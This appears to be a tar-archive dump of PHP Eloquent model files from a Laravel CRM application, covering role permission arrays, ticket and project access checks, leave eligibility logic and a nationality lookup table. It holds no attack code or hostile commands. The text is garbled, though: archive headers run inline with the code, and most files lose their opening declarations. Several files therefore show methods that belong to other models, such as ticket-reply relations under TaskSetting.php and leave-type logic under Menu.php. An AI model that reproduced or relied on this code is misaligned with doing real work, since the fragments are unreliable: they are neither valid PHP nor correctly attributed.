=> PermissionType::ADDED, 'view_timelogs' => PermissionType::BOTH, 'view_project_timelogs' => PermissionType::ALL, 'add_tickets' => PermissionType::ADDED, 'view_tickets' => PermissionType::BOTH, 'edit_tickets' => PermissionType::BOTH, 'delete_tickets' => PermissionType::ADDED, 'view_events' => PermissionType::OWNED, 'view_notice' => PermissionType::OWNED, 'add_leave' => PermissionType::ADDED, 'view_leave' => PermissionType::BOTH, 'view_leaves_taken' => PermissionType::ALL, 'add_lead' => PermissionType::ADDED, 'view_lead' => PermissionType::ALL, 'edit_lead' => PermissionType::ADDED, 'view_lead_files' => PermissionType::ADDED, 'add_lead_files' => PermissionType::ALL, 'view_lead_follow_up' => PermissionType::ALL, 'add_lead_follow_up' => PermissionType::ALL, 'edit_lead_follow_up' => PermissionType::ADDED, 'delete_lead_follow_up' => PermissionType::ADDED, 'view_holiday' => PermissionType::OWNED, 'add_expenses' => PermissionType::ADDED, 'view_expenses' => PermissionType::BOTH, 'edit_expenses' => PermissionType::ADDED, 'delete_expenses' => PermissionType::ADDED, 'view_appreciation' => PermissionType::OWNED, 'view_immigration' => PermissionType::OWNED, 'add_immigration' => PermissionType::OWNED, 'edit_immigration' => PermissionType::OWNED, 'delete_immigration' => PermissionType::OWNED, ]; return $employeePermissionsArray; } public static function clientRolePermissions() { $clientPermissionsArray = [ 'view_projects' => PermissionType::OWNED, 'view_project_files' => PermissionType::ALL, 'add_project_files' => PermissionType::ALL, 'edit_project_files' => PermissionType::ADDED, 'delete_project_files' => PermissionType::ADDED, 'view_project_members' => PermissionType::ALL, 'view_project_discussions' => PermissionType::ALL, 'add_project_discussions' => PermissionType::ALL, 'edit_project_discussions' => PermissionType::ADDED, 'delete_project_discussions' => PermissionType::ADDED, 'view_project_note' => PermissionType::ALL, 'view_tasks' => PermissionType::OWNED, 'view_project_tasks' => PermissionType::ALL, 'view_sub_tasks' => PermissionType::ALL, 'view_task_files' => PermissionType::ALL, 'view_task_comments' => PermissionType::ALL, 'add_task_comments' => PermissionType::ALL, 'edit_task_comments' => PermissionType::ADDED, 'delete_task_comments' => PermissionType::ADDED, 'view_task_notes' => PermissionType::ALL, 'add_task_notes' => PermissionType::ALL, 'edit_task_notes' => PermissionType::ADDED, 'delete_task_notes' => PermissionType::ADDED, 'view_timelogs' => PermissionType::OWNED, 'view_project_timelogs' => PermissionType::ALL, 'add_tickets' => PermissionType::ADDED, 'view_tickets' => PermissionType::BOTH, 'edit_tickets' => PermissionType::ADDED, 'delete_tickets' => PermissionType::ADDED, 'view_events' => PermissionType::OWNED, 'view_notice' => PermissionType::OWNED, 'view_estimates' => PermissionType::OWNED, 'view_invoices' => PermissionType::OWNED, 'view_project_invoices' => PermissionType::ALL, 'view_payments' => PermissionType::OWNED, 'view_project_payments' => PermissionType::ALL, 'view_product' => PermissionType::ALL, 'view_contract' => PermissionType::OWNED, 'add_contract_discussion' => PermissionType::ALL, 'view_contract_discussion' => PermissionType::ALL, 'view_contract_files' => PermissionType::ALL, 'add_order' => PermissionType::ALL, 'view_order' => PermissionType::OWNED, ]; return $clientPermissionsArray; } public static function insertModuleRolePermission($moduleName, $companyId) { $modulePermissions = \App\Models\Module::with('permissionsAll')->where('module_name', $moduleName)->firstOrFail(); $adminRole = Role::withoutGlobalScope(CompanyScope::class)->with('roleuser', 'roleuser.user.roles') ->where('name', 'admin') ->where('company_id', $companyId) ->first(); if ($adminRole) { PermissionRole::whereHas('permission', function ($query) use ($modulePermissions) { $query->where('module_id', $modulePermissions->id); })->where('role_id', $adminRole->id)->delete(); foreach ($modulePermissions->permissionsAll as $permission) { PermissionRole::create([ 'permission_id' => $permission->id, 'role_id' => $adminRole->id, 'permission_type_id' => PermissionType::ALL ]); } foreach ($adminRole->roleuser as $roleuser) { foreach ($modulePermissions->permissionsAll as $permission) { UserPermission::firstOrCreate([ 'permission_id' => $permission->id, 'user_id' => $roleuser->user_id, 'permission_type_id' => PermissionType::ALL ]); } } } $otherRoles = Role::withoutGlobalScope(CompanyScope::class)->with('roleuser', 'roleuser.user.roles') ->where('name', '<>', 'admin') ->where('company_id', $companyId) ->get(); foreach ($otherRoles as $key => $role) { foreach ($modulePermissions->permissionsAll as $permission) { $permissionRole = PermissionRole::where('permission_id', $permission->id) ->where('role_id', $role->id) ->first(); if (!$permissionRole) { PermissionRole::create([ 'permission_id' => $permission->id, 'role_id' => $role->id, 'permission_type_id' => PermissionType::NONE ]); } } foreach ($role->roleuser as $roleuser) { foreach ($modulePermissions->permissionsAll as $permission) { $userPermission = UserPermission::where('permission_id', $permission->id) ->where('user_id', $roleuser->user_id) ->first(); if (!$userPermission) { UserPermission::create([ 'permission_id' => $permission->id, 'user_id' => $roleuser->user_id, 'permission_type_id' => PermissionType::NONE ]); } } } } } } Models/TaskSetting.php000064400000007047150325104510010744 0ustar00belongsTo(User::class, 'user_id'); } public function ticketReply() { return $this->belongsTo(TicketReply::class, 'ticket_reply_id'); } } Models/ProjectUserNote.php000064400000002404150325104510011567 0ustar00 'date', ]; public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id'); } public function leaveType(): BelongsTo { return $this->belongsTo(LeaveType::class, 'leave_type_id'); } } Models/ProposalTemplateItemImage.php000064400000005121150325104510013550 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(ProposalTemplateItemImage::FILE_PATH . '/' . $this->proposal_template_item_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (ProposalTemplateItemImage::FILE_PATH . '/' . $this->proposal_template_item_id . '/' . $this->hashname); } } Models/EmployeeDetails.php000064400000012514150325104510011564 0ustar00 'datetime', 'last_date' => 'datetime', 'date_of_birth' => 'datetime', 'calendar_view ' => 'array', 'marital_status' => MaritalStatus::class, ]; protected $with = ['company:id']; protected $appends = ['upcoming_birthday']; const CUSTOM_FIELD_MODEL = 'App\Models\EmployeeDetails'; public function getUpcomingBirthdayAttribute() { if (is_null($this->date_of_birth)) { return null; } $dob = Carbon::parse(now($this->company->timezone)->year . '-' . $this->date_of_birth->month . '-' . $this->date_of_birth->day); if ($dob->isPast()) { $dob->addYear(); } return $dob->toDateString(); } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function reportingTo(): BelongsTo { return $this->belongsTo(User::class, 'reporting_to')->withoutGlobalScope(ActiveScope::class); } public function designation(): BelongsTo { return $this->belongsTo(Designation::class, 'designation_id'); } public function department(): BelongsTo { return $this->belongsTo(Team::class, 'department_id'); } } Models/TicketSettingForAgents.php000064400000000710150325104510013064 0ustar00 'array', ]; } Models/Ticket.php000064400000023176150325104510007730 0ustar00 $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $ticketMention * @property-read int|null $ticket_mention_count * @property int|null $project_id * @property-read \Illuminate\Database\Eloquent\Collection $activities * @property-read int|null $activities_count * @property-read \App\Models\Project|null $project * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereProjectId($value) * @mixin \Eloquent */ class Ticket extends BaseModel { use HasCompany, SoftDeletes, HasFactory, CustomFieldsTrait; const CUSTOM_FIELD_MODEL = 'App\Models\Ticket'; protected $casts = [ 'deleted_at' => 'datetime', ]; protected $appends = ['created_on']; public function group() { return $this->belongsTo(TicketGroup::class, 'group_id'); } public function requester(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function agent(): BelongsTo { return $this->belongsTo(User::class, 'agent_id')->withoutGlobalScope(ActiveScope::class); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function reply(): HasMany { return $this->hasMany(TicketReply::class, 'ticket_id'); } public function latestReply(): HasOne { return $this->hasOne(TicketReply::class, 'ticket_id')->latest(); } public function tags(): HasMany { return $this->hasMany(TicketTag::class, 'ticket_id'); } public function ticketTags(): BelongsToMany { return $this->belongsToMany(TicketTagList::class, 'ticket_tags', 'ticket_id', 'tag_id'); } public function getCreatedOnAttribute() { if (is_null($this->created_at)) { return ''; } return $this->created_at->timezone(company()->timezone)->format('d M Y H:i'); } public function badge($tag = 'p'): string { $latestReplyUser = $this->latestReply?->user; $totalReply = $this->reply()->count(); $selfReplyCount = $this->reply()->where('user_id', $latestReplyUser?->id)->count(); if ($totalReply > 1 && ($totalReply !== $selfReplyCount) && $latestReplyUser && $latestReplyUser->id !== user()->id) { return '<' . $tag . ' class="mb-0">' . __('app.newResponse') . ''; } return $totalReply == 1 || ($totalReply == $selfReplyCount) ? '<' . $tag . ' class="mb-0">' . __('app.new') . '' : ''; } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function ticketMention(): HasMany { return $this->hasMany(MentionUser::class, 'ticket_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function activities(): HasMany { return $this->hasMany(TicketActivity::class, 'ticket_id')->latest(); } /* * Permissions */ public function hasAllPermission($permission): bool { return $permission == 'all'; } public function hasAddedPermission($permission): bool { $userid = UserService::getUserId(); $id = user()->id; if (in_array('client', user_roles())) { $clientContact = ClientContact::where('client_id', user()->id)->first(); if ($clientContact) { $id = $clientContact->user_id; } } return $permission == 'added' && ($userid == $this->added_by || user()->id == $this->added_by || $id == $this->added_by); } public function hasOwnedPermission($permission): bool { $userid = UserService::getUserId(); return $permission == 'owned' && ((user()->id == $this->agent_id || $userid == $this->agent_id) || (user()->id == $this->user_id || $userid == $this->user_id)); } public function hasBothPermission($permission): bool { $userid = UserService::getUserId(); $id = user()->id; if (in_array('client', user_roles())) { $clientContact = ClientContact::where('client_id', user()->id)->first(); if ($clientContact) { $id = $clientContact->user_id; } } return $permission == 'both' && ((user()->id == $this->agent_id || $userid == $this->agent_id) || ($userid == $this->added_by || user()->id == $this->added_by || $id == $this->added_by) || (user()->id == $this->user_id || $userid == $this->user_id)); } public function canViewTicket(): bool { return $this->hasPermission(user()->permission('view_tickets')); } public function canDeleteTicket(): bool { return $this->hasPermission(user()->permission('delete_tickets')); } public function canEditTicket(): bool { return $this->hasPermission(user()->permission('edit_tickets')); } public function hasPermission($permission): bool { return $this->hasAllPermission($permission) || $this->hasAddedPermission($permission) || $this->hasOwnedPermission($permission) || $this->hasBothPermission($permission); } /* * Permissions End here */ } Models/LeadAgent.php000064400000004066150325104510010326 0ustar00 $leads * @property-read int|null $leads_count * @mixin \Eloquent */ class LeadAgent extends BaseModel { use HasCompany; protected $table = 'lead_agents'; protected $guarded = ['id']; public function user(): BelongsTo { return $this->belongsTo(User::class)->withoutGlobalScope(ActiveScope::class); } public function leads(): HasMany { return $this->hasMany(Deal::class, 'agent_id'); } } Models/Pinned.php000064400000003572150325104510007720 0ustar00belongsTo(User::class, 'user_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function task(): BelongsTo { return $this->belongsTo(Task::class, 'task_id'); } } Models/EstimateTemplateItem.php000064400000007406150325104510012571 0ustar00hasOne(EstimateTemplateItemImage::class, 'estimate_template_item_id'); } public static function taxbyid($id) { return Tax::where('id', $id)->withTrashed(); } public function getTaxListAttribute() { $estimateItemTax = $this->taxes; $taxes = ''; if ($estimateItemTax) { $numItems = count(json_decode($estimateItemTax)); if (!is_null($estimateItemTax)) { foreach (json_decode($estimateItemTax) as $index => $tax) { $tax = $this->taxbyid($tax)->first(); $taxes .= $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxes = ($index + 1 != $numItems) ? $taxes . ', ' : $taxes; } } } return $taxes; } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/KnowledgeBaseCategory.php000064400000003161150325104510012705 0ustar00hasMany(KnowledgeBase::class, 'category_id'); } } Models/SignUpSetting.php000064400000000705150325104510011241 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(EstimateItemImage::FILE_PATH . '/' . $this->estimate_item_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (EstimateItemImage::FILE_PATH . '/' . $this->estimate_item_id . '/' . $this->hashname); } public function item() : BelongsTo { return $this->belongsTo(EstimateItem::class, 'estimate_item_id'); } } Models/ClientUserNote.php000064400000002532150325104510011401 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } } Models/SubTaskFile.php000064400000006023150325104510010651 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(SubTaskFile::FILE_PATH . '/' . $this->sub_task_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (SubTaskFile::FILE_PATH . '/' . $this->sub_task_id . '/' . $this->hashname); } } Models/TicketAgentGroups.php000064400000004053150325104510012100 0ustar00belongsTo(User::class, 'agent_id'); } public function group(): BelongsTo { return $this->belongsTo(TicketGroup::class, 'group_id'); } } Models/KnowledgeBaseFile.php000064400000005107150325104510012011 0ustar00external_link)) ? $this->external_link : asset_url_local_s3(KnowledgeBaseFile::FILE_PATH . '/' . $this->knowledge_base_id . '/' . $this->hashname); } } Models/Menu.php000064400000003202150325104510007375 0ustar00 'float', ]; public function leaves(): HasMany { return $this->hasMany(Leave::class, 'leave_type_id'); } public function leavesCount(): HasOne { return $this->hasOne(Leave::class, 'leave_type_id') ->selectRaw('leave_type_id, count(*) as count, SUM(if(duration="half day", 1, 0)) AS halfday') ->groupBy('leave_type_id'); } public static function byUser($user, $leaveTypeId = null, $status = array('approved'), $leaveDate = null) { if (!is_null($leaveDate)) { $leaveDate = Carbon::createFromFormat(company()->date_format, $leaveDate); } else { $leaveDate = Carbon::createFromFormat('d-m-Y', '01-'.company()->year_starts_from.'-'.now(company()->timezone)->year)->startOfMonth(); } if (!$user instanceof User) { $user = User::withoutGlobalScope(ActiveScope::class)->withOut('clientDetails', 'role')->findOrFail($user); } $setting = company(); if (isset($user->employee[0])) { if ($setting->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employee[0]->joining_date->format((now(company()->timezone)->year) . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveTypes = LeaveType::with(['leavesCount' => function ($q) use ($user, $currentYearJoiningDate, $status) { $q->where('leaves.user_id', $user->id); $q->whereBetween('leaves.leave_date', [$currentYearJoiningDate->copy()->toDateString(), $currentYearJoiningDate->copy()->addYear()->toDateString()]); $q->whereIn('leaves.status', $status); }])->select('leave_types.*', 'employee_details.notice_period_start_date', 'employee_details.probation_end_date', 'employee_details.department_id as employee_department', 'employee_details.designation_id as employee_designation', 'employee_details.marital_status as maritalStatus', 'users.gender as usergender', 'employee_details.joining_date') ->join('employee_leave_quotas', 'employee_leave_quotas.leave_type_id', 'leave_types.id') ->join('users', 'users.id', 'employee_leave_quotas.user_id') ->join('employee_details', 'employee_details.user_id', 'users.id')->where('users.id', $user->id); if (!is_null($leaveTypeId)) { $leaveTypes = $leaveTypes->where('leave_types.id', $leaveTypeId); } return $leaveTypes = $leaveTypes->get(); } else { $leaveTypes = LeaveType::with(['leavesCount' => function ($q) use ($user, $status, $leaveDate) { $q->where('leaves.user_id', $user->id); $q->whereBetween('leaves.leave_date', [$leaveDate->copy()->toDateString(), $leaveDate->copy()->addYear()->toDateString()]); $q->whereIn('leaves.status', $status); }])->select('leave_types.*', 'employee_details.notice_period_start_date', 'employee_details.probation_end_date', 'employee_details.department_id as employee_department', 'employee_details.designation_id as employee_designation', 'employee_details.marital_status as maritalStatus', 'users.gender as usergender', 'employee_details.joining_date') ->join('employee_leave_quotas', 'employee_leave_quotas.leave_type_id', 'leave_types.id') ->join('users', 'users.id', 'employee_leave_quotas.user_id') ->join('employee_details', 'employee_details.user_id', 'users.id')->where('users.id', $user->id); } if (!is_null($leaveTypeId)) { $leaveTypes = $leaveTypes->where('leave_types.id', $leaveTypeId); } return $leaveTypes->get(); } return collect(); } public function leaveTypeCondition(LeaveType $leave, User $user) { $currentDate = now(); if (!$user->employee) { return false; } $userRole = $user->roles->pluck('id')->toArray(); $leaveRole = $leave->role; if(!is_null($leave->effective_type) && !is_null($leave->effective_after)){ $effectiveDate = $leave->effective_type == 'days' ? $user->employeeDetail->joining_date->addDays($leave->effective_after) : $user->employeeDetail->joining_date->addMonths($leave->effective_after); } $probation = Carbon::parse($leave->probation_end_date); $noticePeriod = Carbon::parse($leave->notice_period_start_date); if( ( is_null($leave->probation_end_date) || ($leave->allowed_probation == 0 && $probation->lt($currentDate)) || $leave->allowed_probation == 1 ) && ( is_null($leave->notice_period_start_date) || ($leave->allowed_notice == 0 && $noticePeriod->gt($currentDate)) || $leave->allowed_notice == 1 ) && ( !is_null($leave->gender) && in_array($user->gender, json_decode($leave->gender)) ) && ( !is_null($leave->marital_status) && in_array($user->employeeDetail->marital_status?->value, json_decode($leave->marital_status)) ) && ( !is_null($leave->department) && in_array($user->employeeDetail->department?->id, json_decode($leave->department)) ) && ( !is_null($leave->designation) && in_array($user->employeeDetail->designation?->id, json_decode($leave->designation)) ) && ( !is_null($leave->role) && !empty(array_intersect($userRole, json_decode($leaveRole))) ) && ( is_null($leave->effective_after) || $currentDate->gt($effectiveDate) ) ) { return true; } return false; } } Models/Country.php000064400000021145150325104510010142 0ustar00 'Afghan', 'AL' => 'Albanian', 'DZ' => 'Algerian', 'AS' => 'American Samoans', 'AD' => 'Andorran', 'AO' => 'Angolan', 'AG' => 'Antiguans', 'AR' => 'Argentinean', 'AM' => 'Armenian', 'AU' => 'Australian', 'AT' => 'Austrian', 'AZ' => 'Azerbaijani', 'BS' => 'Bahamian', 'BH' => 'Bahraini', 'BD' => 'Bangladeshi', 'BB' => 'Barbadian', 'BY' => 'Belarusian', 'BE' => 'Belgian', 'BZ' => 'Belizean', 'BJ' => 'Beninese', 'BT' => 'Bhutanese', 'BO' => 'Bolivian', 'BA' => 'Bosnian', 'BR' => 'Brazilian', 'BN' => 'Bruneian', 'BG' => 'Bulgarian', 'BF' => 'Burkinabe', 'BI' => 'Burundian', 'KH' => 'Cambodian', 'CM' => 'Cameroonian', 'CA' => 'Canadian', 'CV' => 'Cape Verdean', 'CF' => 'Central African', 'TD' => 'Chadian', 'CL' => 'Chilean', 'CN' => 'Chinese', 'CO' => 'Colombian', 'KM' => 'Comoran', 'CG' => 'Congolese', 'CR' => 'Costa Rican', 'HR' => 'Croatian', 'CU' => 'Cuban', 'CY' => 'Cypriot', 'CZ' => 'Czech', 'DK' => 'Danish', 'DJ' => 'Djibouti', 'DM' => 'Dominican', 'dutch' => 'Dutch', 'EC' => 'Ecuadorean', 'EG' => 'Egyptian', 'emirian' => 'Emirian', 'GQ' => 'Equatorial Guinean', 'ER' => 'Eritrean', 'EE' => 'Estonian', 'ET' => 'Ethiopian', 'FJ' => 'Fijian', 'filipino' => 'Filipino', 'FI' => 'Finn ish', 'FR' => 'French', 'GA' => 'Gabonese', 'GM' => 'Gambian', 'GE' => 'Georgian', 'DE' => 'German', 'GH' => 'Ghanaian', 'GR' => 'Greek', 'GD' => 'Grenadian', 'GT' => 'Guatemalan', 'GW' => 'Guinean-Bissau', 'GN' => 'Guinean', 'GY' => 'Guyanese', 'HT' => 'Haitian', 'HN' => 'Honduran', 'HU' => 'Hungarian', 'IS' => 'Icelander', 'IN' => 'Indian', 'ID' => 'Indonesian', 'IR' => 'Iranian', 'IQ' => 'Iraqi', 'IE' => 'Irish', 'IL' => 'Israeli', 'IT' => 'Italian', 'JM' => 'Jamaican', 'JP' => 'Japanese', 'JO' => 'Jordanian', 'KZ' => 'Kazakhstani', 'KE' => 'Kenyan', 'KW' => 'Kuwaiti', 'KG' => 'Kyrgyz', 'LA' => 'Laotian', 'LV' => 'Latvian', 'LB' => 'Lebanese', 'LR' => 'Liberian', 'LY' => 'Libyan', 'LI' => 'Liechtensteiner', 'LT' => 'Lithuanian', 'LU' => 'Luxembourger', 'Mk' => 'Macedonian', 'MG' => 'Malagasy', 'MW' => 'Malawian', 'MY' => 'Malaysian', 'MV' => 'Maldivan', 'ML' => 'Malian', 'MT' => 'Maltese', 'MH' => 'Marshallese', 'MR' => 'Mauritanian', 'MU' => 'Mauritian', 'MX' => 'Mexican', 'FM' => 'Micronesian', 'MD' => 'Moldovan', 'MC' => 'Monacan', 'MN' => 'Mongolian', 'MA' => 'Moroccan', 'MZ' => 'Mozambican', 'NA' => 'Namibian', 'NR' => 'Nauruan', 'NP' => 'Nepalese', 'NZ' => 'New Zealander', 'NI' => 'Nicaraguan', 'NG' => 'Nigerien', 'north korean' => 'North Korean', 'NO' => 'Norwegian', 'OM' => 'Omani', 'PK' => 'Pakistani', 'PW' => 'Palauan', 'PS' => 'Palestinian', 'PA' => 'Panamanian', 'PG' => 'Papua New Guinean', 'PY' => 'Paraguayan', 'PE' => 'Peruvian', 'PL' => 'Polish', 'PT' => 'Portuguese', 'QR' => 'Qatari', 'RO' => 'Romanian', 'RU' => 'Russian', 'RW' => 'Rwandan', 'LC' => 'Saint Lucian', 'salvadoran' => 'Salvadoran', 'WS' => 'Samoan', 'SM' => 'San Marinese', 'ST' => 'Sao Tomean', 'SA' => 'Saudi', 'SN' => 'Senegalese', 'CS' => 'Serbian', 'SC' => 'Seychellois', 'SL' => 'Sierra Leonean', 'SG' => 'Singaporean', 'SK' => 'Slovakian', 'SI' => 'Slovenian', 'SB' => 'Solomon Islander', 'SO' => 'Somali', 'ZA' => 'South African', 'ES' => 'Spanish', 'LK' => 'Sri Lankan', 'SD' => 'Sudanese', 'SR' => 'Surinamer', 'SZ' => 'Swazi', 'SE' => 'Swedish', 'CH' => 'Swiss', 'SY' => 'Syrian', 'TW' => 'Taiwanese', 'TJ' => 'Tajik', 'TZ' => 'Tanzanian', 'TH' => 'Thai', 'TG' => 'Togolese', 'TO' => 'Tongan', 'TT' => 'Trinidadian or Tobagonian', 'TN' => 'Tunisian', 'TR' => 'Turkish', 'TV' => 'Tuvaluan', 'UG' => 'Ugandan', 'UA' => 'Ukrainian', 'uruguayan' => 'Uruguayan', 'uzbekistani' => 'Uzbekistani', 'VE' => 'Venezuelan', 'VN' => 'Vietnamese', 'welsh' => 'Welsh', 'YE' => 'Yemenite', 'ZM' => 'Zambian', 'ZW' => 'Zimbabwean', 'AI' => 'Anguillian', 'AW' => 'Aruban', 'BM' => 'Bermudian', 'BW' => 'Motswana', 'CC' => 'Cocos Islander', 'CD' => 'Congolese', 'CK' => 'Cook Islander', 'CI' => 'Ivorian', 'DO' => 'Dominican', 'SV' => 'Salvadoran', 'FO' => 'Faroese', 'PF' => 'French Polynesian', 'TF' => 'French', 'GL' => 'Greenlandic', 'GP' => 'Guadeloupian', 'GU' => 'Guamanian', 'HM' => 'Heard and McDonald Islander', 'HK' => 'Chinese', 'KI' => 'I-Kiribati', 'KP' => 'North Korean', 'KR' => 'South Korean', 'LS' => 'Mosotho', 'MO' => 'Chinese', 'MQ' => 'French', 'YT' => 'French', 'MS' => 'Montserratian', 'MM' => 'Myanmar', 'NL' => 'Dutch', 'AN' => 'Dutch', 'NC' => 'New Caledonian', 'NE' => 'Nigerian', 'NU' => 'Niuean', 'NF' => 'Norfolk Islander', 'MP' => 'American', 'PH' => 'Filipino', 'PN' => 'Pitcairn Islander', 'PR' => 'Puerto Rican', 'RE' => 'French', 'SH' => 'Saint Helenian', 'KN' => 'Kittian and Nevisian', 'PM' => 'French', 'VC' => 'Saint Vincentian', 'GS' => 'South Georgia and the South Georgia Islander', 'SJ' => 'Norwegian', 'TL' => 'East Timorese', 'TK' => 'Tokelauan', 'TM' => 'Turkmen', 'TC' => 'Turks and Caicos Islander', 'AE' => 'Emirati', 'US' => 'American', 'GB' => 'British', 'UM' => 'American', 'VU' => 'Ni-Vanuatu', 'VG' => 'Virgin Islander', 'VI' => 'Virgin Islander', 'WF' => 'Walls and Futuna Islander', 'EH' => 'Sahrawi', 'ME' => 'Montenegrin', 'AX' => 'Swedish', 'CW' => 'Curacaoan', 'GG' => 'Channel Islander', 'IM' => 'Manx', 'JE' => 'Channel Islander', 'BL' => 'Saint Barthélemy Islander', 'MF' => 'Saint Martin Islander' ); public function getNationalityAttribute() { return Country::NATIONALITY[$this->iso] ?? 'unknown'; } public function flagSpanCountryCode() { return ' +' . $this->phonecode; } } Models/Project.php000064400000044044150325104510010110 0ustar00 $contracts * @property-read int|null $contracts_count * @property-read int|null $project_members_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionNote * @property-read int|null $mention_note_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $incompleteMilestones * @property-read int|null $incomplete_milestones_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionProject * @property-read int|null $mention_project_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read \App\Models\Project|null $due_date * @mixin \Eloquent */ class Project extends BaseModel { use CustomFieldsTrait, HasFactory; use SoftDeletes; use HasCompany; protected $casts = [ 'start_date' => 'datetime', 'deadline' => 'datetime', 'created_at' => 'datetime', ]; protected $guarded = ['id']; protected $with = []; protected $appends = ['isProjectAdmin']; const CUSTOM_FIELD_MODEL = 'App\Models\Project'; public function category(): BelongsTo { return $this->belongsTo(ProjectCategory::class, 'category_id'); } public function projectAdmin() { return $this->belongsTo(User::class, 'project_admin'); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function clientdetails(): BelongsTo { return $this->belongsTo(ClientDetails::class, 'client_id', 'user_id'); } public function members(): HasMany { return $this->hasMany(ProjectMember::class, 'project_id'); } public function projectMembersWithoutScope(): BelongsToMany { return $this->belongsToMany(User::class, 'project_members')->using(ProjectMember::class)->withoutGlobalScope(ActiveScope::class); } public function projectMembers(): BelongsToMany { return $this->belongsToMany(User::class, 'project_members')->using(ProjectMember::class); } public function tasks(): HasMany { return $this->hasMany(Task::class, 'project_id')->orderByDesc('id'); } public function files(): HasMany { return $this->hasMany(ProjectFile::class, 'project_id')->orderByDesc('id'); } public function invoices(): HasMany { return $this->hasMany(Invoice::class, 'project_id')->orderByDesc('id'); } public function contracts(): HasMany { return $this->hasMany(Contract::class, 'project_id')->orderByDesc('id'); } public function issues(): HasMany { return $this->hasMany(Issue::class, 'project_id')->orderByDesc('id'); } public function times(): HasMany { return $this->hasMany(ProjectTimeLog::class, 'project_id')->with('breaks')->orderByDesc('id'); } public function milestones(): HasMany { return $this->hasMany(ProjectMilestone::class, 'project_id')->orderByDesc('id'); } public function incompleteMilestones(): HasMany { return $this->hasMany(ProjectMilestone::class, 'project_id')->whereNot('status', 'complete')->orderByDesc('id'); } public function completedMilestones(): HasMany { return $this->hasMany(ProjectMilestone::class, 'project_id')->where('status', 'complete')->orderByDesc('id'); } public function expenses(): HasMany { return $this->hasMany(Expense::class, 'project_id')->orderByDesc('id'); } public function notes(): HasMany { return $this->hasMany(ProjectNote::class, 'project_id')->orderByDesc('id'); } public function payments(): HasMany { return $this->hasMany(Payment::class, 'project_id')->orderByDesc('id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function discussions(): HasMany { return $this->hasMany(Discussion::class, 'project_id')->orderByDesc('id'); } public function rating(): HasOne { return $this->hasOne(ProjectRating::class); } /** * @return bool */ public function checkProjectUser() { return ProjectMember::where('project_id', $this->id) ->where('user_id', user()->id) ->exists(); } /** * @return bool */ public function checkProjectClient() { return Project::where('id', $this->id) ->where('client_id', user()->id) ->exists(); } public static function clientProjects($clientId) { return Project::where('client_id', $clientId)->get(); } /** * @param boolean $notFinished * Search Parameter is passed the get only search results and 20 * @return \Illuminate\Support\Collection */ public static function allProjects($notFinished = false) { $projects = Project::query(); $userId = UserService::getUserId(); if ($notFinished) { $projects->notFinished(); } $projects = $projects->leftJoin('project_members', 'project_members.project_id', 'projects.id') ->select('projects.*') ->orderBy('project_name'); if (!isRunningInConsoleOrSeeding()) { if (user()->permission('view_projects') == 'added') { $projects->where('projects.added_by', $userId)->orWhere('projects.public', 1); } if (user()->permission('view_projects') == 'added' && in_array('client', user_roles())) { $projects->where('projects.added_by', $userId); } if (user()->permission('view_projects') == 'both') { $projects->where('projects.added_by', $userId)->orWhere('project_members.user_id', $userId)->orWhere('projects.public', 1); } if (user()->permission('view_projects') == 'both' && in_array('client', user_roles())) { $projects->where('projects.added_by', $userId)->orWhere('projects.client_id', $userId); } if (user()->permission('view_projects') == 'owned' && in_array('employee', user_roles())) { $projects->where('project_members.user_id', $userId)->orWhere('projects.public', 1); } if (user()->permission('view_projects') == 'owned' && in_array('client', user_roles())) { $projects->where('projects.client_id', $userId); } if (user()->permission('view_projects') == 'all' && in_array('client', user_roles())) { $projects->where('projects.client_id', $userId); } } $projects = $projects->groupBy('projects.id'); // @codingStandardsIgnoreStart // if ($search !== '') { // return $projects->where('project_name', 'like', '%' . $search . '%') // ->take(GlobalSetting::SELECT2_SHOW_COUNT) // ->get(); // } // @codingStandardsIgnoreEnd return $projects->get(); } public static function allProjectsHavingClient() { $projects = Project::with('currency')->leftJoin('project_members', 'project_members.project_id', 'projects.id') ->whereNotNull('client_id') ->select('projects.*') ->orderBy('project_name'); if (!isRunningInConsoleOrSeeding()) { if (user()->permission('view_projects') == 'added') { $projects->where('projects.added_by', user()->id); } if (user()->permission('view_projects') == 'owned' && in_array('employee', user_roles())) { $projects->where('project_members.user_id', user()->id); } if (user()->permission('view_projects') == 'owned' && in_array('client', user_roles())) { $projects->where('projects.client_id', user()->id); } } return $projects->groupBy('projects.id')->get(); } public static function byEmployee($employeeId) { return Project::join('project_members', 'project_members.project_id', '=', 'projects.id') 